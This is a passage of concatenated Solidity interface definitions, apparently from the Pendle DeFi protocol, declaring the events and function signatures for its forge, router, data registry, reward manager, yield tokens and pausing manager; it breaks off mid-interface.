import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPendleForge {
/**
* @dev Emitted when the Forge has minted the OT and XYT tokens.
* @param forgeId The forgeId
* @param underlyingAsset The address of the underlying yield token.
* @param expiry The expiry of the XYT token
* @param amountToTokenize The amount of yield bearing assets to tokenize
* @param amountTokenMinted The amount of OT/XYT minted
**/
event MintYieldTokens(
bytes32 forgeId,
address indexed underlyingAsset,
uint256 indexed expiry,
uint256 amountToTokenize,
uint256 amountTokenMinted,
address indexed user
);
/**
* @dev Emitted when the Forge has created new yield token contracts.
* @param forgeId The forgeId
* @param underlyingAsset The address of the underlying asset.
* @param expiry The date in epoch time when the contract will expire.
* @param ot The address of the ownership token.
* @param xyt The address of the new future yield token.
**/
event NewYieldContracts(
bytes32 forgeId,
address indexed underlyingAsset,
uint256 indexed expiry,
address ot,
address xyt,
address yieldBearingAsset
);
/**
* @dev Emitted when the Forge has redeemed the OT and XYT tokens.
* @param forgeId The forgeId
* @param underlyingAsset the address of the underlying asset
* @param expiry The expiry of the XYT token
* @param amountToRedeem The amount of OT to be redeemed.
* @param redeemedAmount The amount of yield token received
**/
event RedeemYieldToken(
bytes32 forgeId,
address indexed underlyingAsset,
uint256 indexed expiry,
uint256 amountToRedeem,
uint256 redeemedAmount,
address indexed user
);
/**
* @dev Emitted when interest claim is settled
* @param forgeId The forgeId
* @param underlyingAsset the address of the underlying asset
* @param expiry The expiry of the XYT token
* @param user Interest receiver Address
* @param amount The amount of interest claimed
**/
event DueInterestsSettled(
bytes32 forgeId,
address indexed underlyingAsset,
uint256 indexed expiry,
uint256 amount,
uint256 forgeFeeAmount,
address indexed user
);
/**
* @dev Emitted when forge fee is withdrawn
* @param forgeId The forgeId
* @param underlyingAsset the address of the underlying asset
* @param expiry The expiry of the XYT token
* @param amount The amount of interest claimed
**/
event ForgeFeeWithdrawn(
bytes32 forgeId,
address indexed underlyingAsset,
uint256 indexed expiry,
uint256 amount
);
function setUpEmergencyMode(
address _underlyingAsset,
uint256 _expiry,
address spender
) external;
function newYieldContracts(address underlyingAsset, uint256 expiry)
external
returns (address ot, address xyt);
function redeemAfterExpiry(
address user,
address underlyingAsset,
uint256 expiry
) external returns (uint256 redeemedAmount);
function redeemDueInterests(
address user,
address underlyingAsset,
uint256 expiry
) external returns (uint256 interests);
function updateDueInterests(
address underlyingAsset,
uint256 expiry,
address user
) external;
function updatePendingRewards(
address _underlyingAsset,
uint256 _expiry,
address _user
) external;
function redeemUnderlying(
address user,
address underlyingAsset,
uint256 expiry,
uint256 amountToRedeem
) external returns (uint256 redeemedAmount);
function mintOtAndXyt(
address underlyingAsset,
uint256 expiry,
uint256 amountToTokenize,
address to
)
external
returns (
address ot,
address xyt,
uint256 amountTokenMinted
);
function withdrawForgeFee(address underlyingAsset, uint256 expiry) external;
function getYieldBearingToken(address underlyingAsset) external returns (address);
/**
* @notice Gets a reference to the PendleRouter contract.
* @return Returns the router contract reference.
**/
function router() external view returns (IPendleRouter);
function data() external view returns (IPendleData);
function rewardManager() external view returns (IPendleRewardManager);
function yieldContractDeployer() external view returns (IPendleYieldContractDeployer);
function rewardToken() external view returns (IERC20);
/**
* @notice Gets the bytes32 ID of the forge.
* @return Returns the forge and protocol identifier.
**/
function forgeId() external view returns (bytes32);
function dueInterests(
address _underlyingAsset,
uint256 expiry,
address _user
) external view returns (uint256);
function yieldTokenHolders(address _underlyingAsset, uint256 _expiry)
external
view
returns (address yieldTokenHolder);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
pragma abicoder v2;
import "../interfaces/IWETH.sol";
import "./IPendleData.sol";
import "../libraries/PendleStructs.sol";
import "./IPendleMarketFactory.sol";
interface IPendleRouter {
/**
* @notice Emitted when a market for a future yield token and an ERC20 token is created.
* @param marketFactoryId Forge identifier.
* @param xyt The address of the tokenized future yield token as the base asset.
* @param token The address of an ERC20 token as the quote asset.
* @param market The address of the newly created market.
**/
event MarketCreated(
bytes32 marketFactoryId,
address indexed xyt,
address indexed token,
address indexed market
);
/**
* @notice Emitted when a swap happens on the market.
* @param trader The address of msg.sender.
* @param inToken The input token.
* @param outToken The output token.
* @param exactIn The exact amount being traded.
* @param exactOut The exact amount received.
* @param market The market address.
**/
event SwapEvent(
address indexed trader,
address inToken,
address outToken,
uint256 exactIn,
uint256 exactOut,
address market
);
/**
* @dev Emitted when user adds liquidity
* @param sender The user who added liquidity.
* @param token0Amount the amount of token0 (xyt) provided by user
* @param token1Amount the amount of token1 provided by user
* @param market The market address.
* @param exactOutLp The exact LP minted
*/
event Join(
address indexed sender,
uint256 token0Amount,
uint256 token1Amount,
address market,
uint256 exactOutLp
);
/**
* @dev Emitted when user removes liquidity
* @param sender The user who removed liquidity.
* @param token0Amount the amount of token0 (xyt) given to user
* @param token1Amount the amount of token1 given to user
* @param market The market address.
* @param exactInLp The exact Lp to remove
*/
event Exit(
address indexed sender,
uint256 token0Amount,
uint256 token1Amount,
address market,
uint256 exactInLp
);
/**
* @notice Gets a reference to the PendleData contract.
* @return Returns the data contract reference.
**/
function data() external view returns (IPendleData);
/**
* @notice Gets a reference of the WETH9 token contract address.
* @return WETH token reference.
**/
function weth() external view returns (IWETH);
/***********
* FORGE *
***********/
function newYieldContracts(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external returns (address ot, address xyt);
function redeemAfterExpiry(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external returns (uint256 redeemedAmount);
function redeemDueInterests(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
address user
) external returns (uint256 interests);
function redeemUnderlying(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
uint256 amountToRedeem
) external returns (uint256 redeemedAmount);
function renewYield(
bytes32 forgeId,
uint256 oldExpiry,
address underlyingAsset,
uint256 newExpiry,
uint256 renewalRate
)
external
returns (
uint256 redeemedAmount,
uint256 amountRenewed,
address ot,
address xyt,
uint256 amountTokenMinted
);
function tokenizeYield(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
uint256 amountToTokenize,
address to
)
external
returns (
address ot,
address xyt,
uint256 amountTokenMinted
);
/***********
* MARKET *
***********/
function addMarketLiquidityDual(
bytes32 _marketFactoryId,
address _xyt,
address _token,
uint256 _desiredXytAmount,
uint256 _desiredTokenAmount,
uint256 _xytMinAmount,
uint256 _tokenMinAmount
)
external
payable
returns (
uint256 amountXytUsed,
uint256 amountTokenUsed,
uint256 lpOut
);
function addMarketLiquiditySingle(
bytes32 marketFactoryId,
address xyt,
address token,
bool forXyt,
uint256 exactInAsset,
uint256 minOutLp
) external payable returns (uint256 exactOutLp);
function removeMarketLiquidityDual(
bytes32 marketFactoryId,
address xyt,
address token,
uint256 exactInLp,
uint256 minOutXyt,
uint256 minOutToken
) external returns (uint256 exactOutXyt, uint256 exactOutToken);
function removeMarketLiquiditySingle(
bytes32 marketFactoryId,
address xyt,
address token,
bool forXyt,
uint256 exactInLp,
uint256 minOutAsset
) external returns (uint256 exactOutXyt, uint256 exactOutToken);
/**
* @notice Creates a market given a protocol ID, future yield token, and an ERC20 token.
* @param marketFactoryId Market Factory identifier.
* @param xyt Token address of the future yield token as base asset.
* @param token Token address of an ERC20 token as quote asset.
* @return market Returns the address of the newly created market.
**/
function createMarket(
bytes32 marketFactoryId,
address xyt,
address token
) external returns (address market);
function bootstrapMarket(
bytes32 marketFactoryId,
address xyt,
address token,
uint256 initialXytLiquidity,
uint256 initialTokenLiquidity
) external payable;
function swapExactIn(
address tokenIn,
address tokenOut,
uint256 inTotalAmount,
uint256 minOutTotalAmount,
bytes32 marketFactoryId
) external payable returns (uint256 outTotalAmount);
function swapExactOut(
address tokenIn,
address tokenOut,
uint256 outTotalAmount,
uint256 maxInTotalAmount,
bytes32 marketFactoryId
) external payable returns (uint256 inTotalAmount);
function redeemLpInterests(address market, address user) external returns (uint256 interests);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
interface IPendleRewardManager {
event UpdateFrequencySet(address[], uint256[]);
event SkippingRewardsSet(bool);
event DueRewardsSettled(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
uint256 amountOut,
address user
);
function redeemRewards(
address _underlyingAsset,
uint256 _expiry,
address _user
) external returns (uint256 dueRewards);
function updatePendingRewards(
address _underlyingAsset,
uint256 _expiry,
address _user
) external;
function updateParamLManual(address _underlyingAsset, uint256 _expiry) external;
function setUpdateFrequency(
address[] calldata underlyingAssets,
uint256[] calldata frequencies
) external;
function setSkippingRewards(bool skippingRewards) external;
function forgeId() external returns (bytes32);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
interface IPendleYieldContractDeployer {
function forgeId() external returns (bytes32);
function forgeOwnershipToken(
address _underlyingAsset,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _expiry
) external returns (address ot);
function forgeFutureYieldToken(
address _underlyingAsset,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _expiry
) external returns (address xyt);
function deployYieldTokenHolder(address yieldToken, uint256 expiry)
external
returns (address yieldTokenHolder);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "./IPendleRouter.sol";
import "./IPendleYieldToken.sol";
import "./IPendlePausingManager.sol";
import "./IPendleMarket.sol";
interface IPendleData {
/**
* @notice Emitted when validity of a forge-factory pair is updated
* @param _forgeId the forge id
* @param _marketFactoryId the market factory id
* @param _valid valid or not
**/
event ForgeFactoryValiditySet(bytes32 _forgeId, bytes32 _marketFactoryId, bool _valid);
/**
* @notice Emitted when Pendle and PendleFactory addresses have been updated.
* @param treasury The address of the new treasury contract.
**/
event TreasurySet(address treasury);
/**
* @notice Emitted when LockParams is changed
**/
event LockParamsSet(uint256 lockNumerator, uint256 lockDenominator);
/**
* @notice Emitted when ExpiryDivisor is changed
**/
event ExpiryDivisorSet(uint256 expiryDivisor);
/**
* @notice Emitted when forge fee is changed
**/
event ForgeFeeSet(uint256 forgeFee);
/**
* @notice Emitted when interestUpdateRateDeltaForMarket is changed
* @param interestUpdateRateDeltaForMarket new interestUpdateRateDeltaForMarket setting
**/
event InterestUpdateRateDeltaForMarketSet(uint256 interestUpdateRateDeltaForMarket);
/**
* @notice Emitted when market fees are changed
* @param _swapFee new swapFee setting
* @param _protocolSwapFee new protocolSwapFee setting
**/
event MarketFeesSet(uint256 _swapFee, uint256 _protocolSwapFee);
/**
* @notice Emitted when the curve shift block delta is changed
* @param _blockDelta new block delta setting
**/
event CurveShiftBlockDeltaSet(uint256 _blockDelta);
/**
* @dev Emitted when new forge is added
* @param marketFactoryId Human Readable Market Factory ID in Bytes
* @param marketFactoryAddress The Market Factory Address
*/
event NewMarketFactory(bytes32 indexed marketFactoryId, address indexed marketFactoryAddress);
/**
* @notice Set/update validity of a forge-factory pair
* @param _forgeId the forge id
* @param _marketFactoryId the market factory id
* @param _valid valid or not
**/
function setForgeFactoryValidity(
bytes32 _forgeId,
bytes32 _marketFactoryId,
bool _valid
) external;
/**
* @notice Sets the PendleTreasury contract addresses.
* @param newTreasury Address of new treasury contract.
**/
function setTreasury(address newTreasury) external;
/**
* @notice Gets a reference to the PendleRouter contract.
* @return Returns the router contract reference.
**/
function router() external view returns (IPendleRouter);
/**
* @notice Gets a reference to the PendleRouter contract.
* @return Returns the router contract reference.
**/
function pausingManager() external view returns (IPendlePausingManager);
/**
* @notice Gets the treasury contract address where fees are being sent to.
* @return Address of the treasury contract.
**/
function treasury() external view returns (address);
/***********
* FORGE *
***********/
/**
* @notice Emitted when a forge for a protocol is added.
* @param forgeId Forge and protocol identifier.
* @param forgeAddress The address of the added forge.
**/
event ForgeAdded(bytes32 indexed forgeId, address indexed forgeAddress);
/**
* @notice Adds a new forge for a protocol.
* @param forgeId Forge and protocol identifier.
* @param forgeAddress The address of the added forge.
**/
function addForge(bytes32 forgeId, address forgeAddress) external;
/**
* @notice Store new OT and XYT details.
* @param forgeId Forge and protocol identifier.
* @param ot The address of the new XYT.
* @param xyt The address of the new XYT.
* @param underlyingAsset Token address of the underlying asset.
* @param expiry Yield contract expiry in epoch time.
**/
function storeTokens(
bytes32 forgeId,
address ot,
address xyt,
address underlyingAsset,
uint256 expiry
) external;
/**
* @notice Set a new forge fee
* @param _forgeFee new forge fee
**/
function setForgeFee(uint256 _forgeFee) external;
/**
* @notice Gets the OT and XYT tokens.
* @param forgeId Forge and protocol identifier.
* @param underlyingYieldToken Token address of the underlying yield token.
* @param expiry Yield contract expiry in epoch time.
* @return ot The OT token references.
* @return xyt The XYT token references.
**/
function getPendleYieldTokens(
bytes32 forgeId,
address underlyingYieldToken,
uint256 expiry
) external view returns (IPendleYieldToken ot, IPendleYieldToken xyt);
/**
* @notice Gets a forge given the identifier.
* @param forgeId Forge and protocol identifier.
* @return forgeAddress Returns the forge address.
**/
function getForgeAddress(bytes32 forgeId) external view returns (address forgeAddress);
/**
* @notice Checks if an XYT token is valid.
* @param forgeId The forgeId of the forge.
* @param underlyingAsset Token address of the underlying asset.
* @param expiry Yield contract expiry in epoch time.
* @return True if valid, false otherwise.
**/
function isValidXYT(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external view returns (bool);
/**
* @notice Checks if an OT token is valid.
* @param forgeId The forgeId of the forge.
* @param underlyingAsset Token address of the underlying asset.
* @param expiry Yield contract expiry in epoch time.
* @return True if valid, false otherwise.
**/
function isValidOT(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external view returns (bool);
function validForgeFactoryPair(bytes32 _forgeId, bytes32 _marketFactoryId)
external
view
returns (bool);
/**
* @notice Gets a reference to a specific OT.
* @param forgeId Forge and protocol identifier.
* @param underlyingYieldToken Token address of the underlying yield token.
* @param expiry Yield contract expiry in epoch time.
* @return ot Returns the reference to an OT.
**/
function otTokens(
bytes32 forgeId,
address underlyingYieldToken,
uint256 expiry
) external view returns (IPendleYieldToken ot);
/**
* @notice Gets a reference to a specific XYT.
* @param forgeId Forge and protocol identifier.
* @param underlyingAsset Token address of the underlying asset
* @param expiry Yield contract expiry in epoch time.
* @return xyt Returns the reference to an XYT.
**/
function xytTokens(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external view returns (IPendleYieldToken xyt);
/***********
* MARKET *
***********/
event MarketPairAdded(address indexed market, address indexed xyt, address indexed token);
function addMarketFactory(bytes32 marketFactoryId, address marketFactoryAddress) external;
function isMarket(address _addr) external view returns (bool result);
function isXyt(address _addr) external view returns (bool result);
function addMarket(
bytes32 marketFactoryId,
address xyt,
address token,
address market
) external;
function setMarketFees(uint256 _swapFee, uint256 _protocolSwapFee) external;
function setInterestUpdateRateDeltaForMarket(uint256 _interestUpdateRateDeltaForMarket)
external;
function setLockParams(uint256 _lockNumerator, uint256 _lockDenominator) external;
function setExpiryDivisor(uint256 _expiryDivisor) external;
function setCurveShiftBlockDelta(uint256 _blockDelta) external;
/**
* @notice Displays the number of markets currently existing.
* @return Returns markets length,
**/
function allMarketsLength() external view returns (uint256);
function forgeFee() external view returns (uint256);
function interestUpdateRateDeltaForMarket() external view returns (uint256);
function expiryDivisor() external view returns (uint256);
function lockNumerator() external view returns (uint256);
function lockDenominator() external view returns (uint256);
function swapFee() external view returns (uint256);
function protocolSwapFee() external view returns (uint256);
function curveShiftBlockDelta() external view returns (uint256);
function getMarketByIndex(uint256 index) external view returns (address market);
/**
* @notice Gets a market given a future yield token and an ERC20 token.
* @param xyt Token address of the future yield token as base asset.
* @param token Token address of an ERC20 token as quote asset.
* @return market Returns the market address.
**/
function getMarket(
bytes32 marketFactoryId,
address xyt,
address token
) external view returns (address market);
/**
* @notice Gets a market factory given the identifier.
* @param marketFactoryId MarketFactory identifier.
* @return marketFactoryAddress Returns the factory address.
**/
function getMarketFactoryAddress(bytes32 marketFactoryId)
external
view
returns (address marketFactoryAddress);
function getMarketFromKey(
address xyt,
address token,
bytes32 marketFactoryId
) external view returns (address market);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.7.6;
struct TokenReserve {
uint256 weight;
uint256 balance;
}
struct PendingTransfer {
uint256 amount;
bool isOut;
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "./IPendleRouter.sol";
interface IPendleMarketFactory {
/**
* @notice Creates a market given a protocol ID, future yield token, and an ERC20 token.
* @param xyt Token address of the futuonlyCorere yield token as base asset.
* @param token Token address of an ERC20 token as quote asset.
* @return market Returns the address of the newly created market.
**/
function createMarket(address xyt, address token) external returns (address market);
/**
* @notice Gets a reference to the PendleRouter contract.
* @return Returns the router contract reference.
**/
function router() external view returns (IPendleRouter);
function marketFactoryId() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IPendleBaseToken.sol";
import "./IPendleForge.sol";
interface IPendleYieldToken is IERC20, IPendleBaseToken {
/**
* @notice Emitted when burning OT or XYT tokens.
* @param user The address performing the burn.
* @param amount The amount to be burned.
**/
event Burn(address indexed user, uint256 amount);
/**
* @notice Emitted when minting OT or XYT tokens.
* @param user The address performing the mint.
* @param amount The amount to be minted.
**/
event Mint(address indexed user, uint256 amount);
/**
* @notice Burns OT or XYT tokens from user, reducing the total supply.
* @param user The address performing the burn.
* @param amount The amount to be burned.
**/
function burn(address user, uint256 amount) external;
/**
* @notice Mints new OT or XYT tokens for user, increasing the total supply.
* @param user The address to send the minted tokens.
* @param amount The amount to be minted.
**/
function mint(address user, uint256 amount) external;
/**
* @notice Gets the forge address of the PendleForge contract for this yield token.
* @return Retuns the forge address.
**/
function forge() external view returns (IPendleForge);
/**
* @notice Returns the address of the underlying asset.
* @return Returns the underlying asset address.
**/
function underlyingAsset() external view returns (address);
/**
* @notice Returns the address of the underlying yield token.
* @return Returns the underlying yield token address.
**/
function underlyingYieldToken() external view returns (address);
/**
* @notice let the router approve itself to spend OT/XYT/LP from any wallet
* @param user user to approve
**/
function approveRouter(address user) external;
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
interface IPendlePausingManager {
event AddPausingAdmin(address admin);
event RemovePausingAdmin(address admin);
event PendingForgeEmergencyHandler(address _pendingForgeHandler);
event PendingMarketEmergencyHandler(address _pendingMarketHandler);
event PendingLiqMiningEmergencyHandler(address _pendingLiqMiningHandler);
event ForgeEmergencyHandlerSet(address forgeEmergencyHandler);
event MarketEmergencyHandlerSet(address marketEmergencyHandler);
event LiqMiningEmergencyHandlerSet(address liqMiningEmergencyHandler);
event PausingManagerLocked();
event ForgeHandlerLocked();
event MarketHandlerLocked();
event LiqMiningHandlerLocked();
event SetForgePaused(bytes32 forgeId, bool settingToPaused);
event SetForgeAssetPaused(bytes32 forgeId, address underlyingAsset, bool settingToPaused);
event SetForgeAssetExpiryPaused(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
bool settingToPaused
);
event SetForgeLocked(bytes32 forgeId);
event SetForgeAssetLocked(bytes32 forgeId, address underlyingAsset);
event SetForgeAssetExpiryLocked(bytes32 forgeId, address underlyingAsset, uint256 expiry);
event SetMarketFactoryPaused(bytes32 marketFactoryId, bool settingToPaused);
event SetMarketPaused(bytes32 marketFactoryId, address market, bool settingToPaused);
event SetMarketFactoryLocked(bytes32 marketFactoryId);
event SetMarketLocked(bytes32 marketFactoryId, address market);
event SetLiqMiningPaused(address liqMiningContract, bool settingToPaused);
event SetLiqMiningLocked(address liqMiningContract);
function forgeEmergencyHandler()
external
view
returns (
address handler,
address pendingHandler,
uint256 timelockDeadline
);
function marketEmergencyHandler()
external
view
returns (
address handler,
address pendingHandler,
uint256 timelockDeadline
);
